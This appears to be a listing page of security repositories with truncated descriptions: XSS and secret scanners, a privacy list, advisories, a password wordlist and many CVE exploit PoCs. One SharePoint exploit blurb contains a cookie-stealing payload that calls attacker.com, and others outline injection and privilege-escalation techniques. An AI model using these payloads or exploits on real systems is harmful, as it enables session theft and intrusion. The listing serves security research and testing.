xsssniper

XSSSNIPER xsssniper is an handy xss discovery tool with mass scanning functionalities. Usage: Usage: xsssniper.py options Options: -h, --help show this help message and exit -u URL, --url=URL target URL --post try a post request to target url --data=POSTDATA post data to use --threads=THREADS...

awesome-privacy

Awesome Privacy List of free, open source and privacy respecting services and alternatives to privative services. About | Contributing | Quotes | Discussions !IMPORTANT Anonymity, Privacy, and Security are often used interchangeably, but they actually represent distinct concepts. It is important ...

Important: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.14.40 security, enhancement & bug fix update

Red Hat OpenShift Data Foundation 4.14.40 security, enhancement & bug fix update Red Hat OpenShift Data Foundation 4.14.40 security, enhancement & bug fix update FIXED BUGS: ==========...

EUVD-2026-102193

Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions to execute arbitrary code and access internal service credentials. To remediate this issue, users not enrolled in...

Exploit-CVE-2023-22515

Exploit CVE-2023-22515 A simple basch script exploit for CVE-2023-22515. Information Confluence Data Center and Server instances have a Broken Access Control Vulnerability CVE-2023-22515, allowing attackers to create unauthorized Confluence administrator accounts and access Confluence instances...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

CVE-2026-39047

PrintHack - Printer Security Testing Tool | | | | | | \ | \ | | | | | | | | | | | | | | | | | ⚠️ DISCLAIMER : This tool is intended for legitimate security testing and educational purposes only. Use responsibly and only on systems you own or have explicit authorization to test. 🎯 Features Core...

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 Confluence RCE CVE-2023-22527 - RCE Remote Code Execution Vulnerability In Confluence Data Center and Confluence Server PoC References CVE-2023-22527 - RCE Remote Code Execution Vulnerability In Confluence Data Center and Confluence Server | Atlassian Support | Atlassian...

CVE-2025-54957

Dolby Unified Decoder CVE-2025-54957 POC When a file is processed by Dolby's DDPlus Unified Decoder, an out of bounds write is possible when the evolution data is processed. The decoder writes evolution information into a large, heap-like contiguous buffer contained by a larger struct, and the...

turkce-wordlist

This project does not contain any personal data such as email addresses, names, phone numbers. Passwords are listed only for academic purposes. It is not possible to associate passwords with real people. Turkish Wordlist This is a study conducted for the analysis of password choices of Turkish...

CVE-2023-49339

CVE-2023-49339 Security Vulnerability Report: Ellucian Banner System Introduction This document outlines a critical security vulnerability found in the Ellucian Banner System, particularly in version 9.17 and earlier versions. The vulnerability has been identified in systems used by various...

jsecret

jsecret simple and fast tool to detect sensitive data in the source code such as javascript files or others install go install -v github.com/raoufmaklouf/jsecret@latest Usage cat jsfiles.txt | jsceret echo http://test.tld/main.js | jsecret Big thank to https://twitter.com/medmahmoudi619 for helpf...

CVE-2025-61777

CVE-2025-61777 1. Unauthorized modification of badge templates on FlagforgeCTF CVE-2025-61777 Summary The Flagforge application https://flagforge.xyz exposes critical vulnerabilities in its administrative API endpoints, specifically /api/admin/badge-templates GET and...

CVE-2024-1071-SQL-Injection

Proof of concept CVE-2024-1071: WordPress Vulnerability Exploited Disclaimer : This Proof of Concept POC is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all...

CVE-2026-22019-libcurl-HTTP-2-CONNECT-Tunnel-Mixup

CVE-2026-22019 – libcurl HTTP/2 CONNECT Tunnel Mixup Program Code C simulation // curlhttp2tunnelmixup.c - Simulated libcurl handling CONNECT over HTTP/2 include void handlehttp2streamint streamid // Vulnerability: after CONNECT, the proxy mixes streams with the tunneled data if streamid == 0...

CVE-2026-17566

CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC A remote code execution PoC for the pgAdmin 4 Import/Export Data tool. It exploits the divergence in backslash escaping semantics between the isqueryparensbalanced parenthesis checker and psql to inject \copy ... TO PROGRAM and execute arbitra...

CVE-2026-22010-Android-Intent-Redirection-to-Exported-Component

CVE-2026-22010 – Android Intent Redirection to Exported Component Program Code Java/Android simulation // VulnActivity.java - Exported activity that forwards intents public class VulnActivity extends Activity @Override protected void onCreateBundle b super.onCreateb; Intent incoming = getIntent; ...

Antignis

Antignis , , . . '..' / \ / ||| || '-, ,-' / /\ \ / \ \ |/ \ / | |/ / '. .:. .' / | \ | \ | | / // | \ |\ \ '|Y|' | /| /| |\ /|| // , \ / , / / // / / ,- I -, | /=\ | ,-' |=| '-, - / Link to blogpost:...

QuickBox-Pro-2.1.8-Authenticated-RCE

QuickBox-Pro-2.1.8-Authenticated-RCE An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules. QuickBox Pro v2.1.8 and prior is vulnerable...

shotlooter

Introduction Shotlooter tool is developed to find sensitive data inside the screenshots which are uploaded to https://prnt.sc/ via the LightShot software by applying OCR and image processing methods. +-------------------+ IMAGE FILE |!/usr/bin/python | +--------------------+ | +-----SENSITIVE...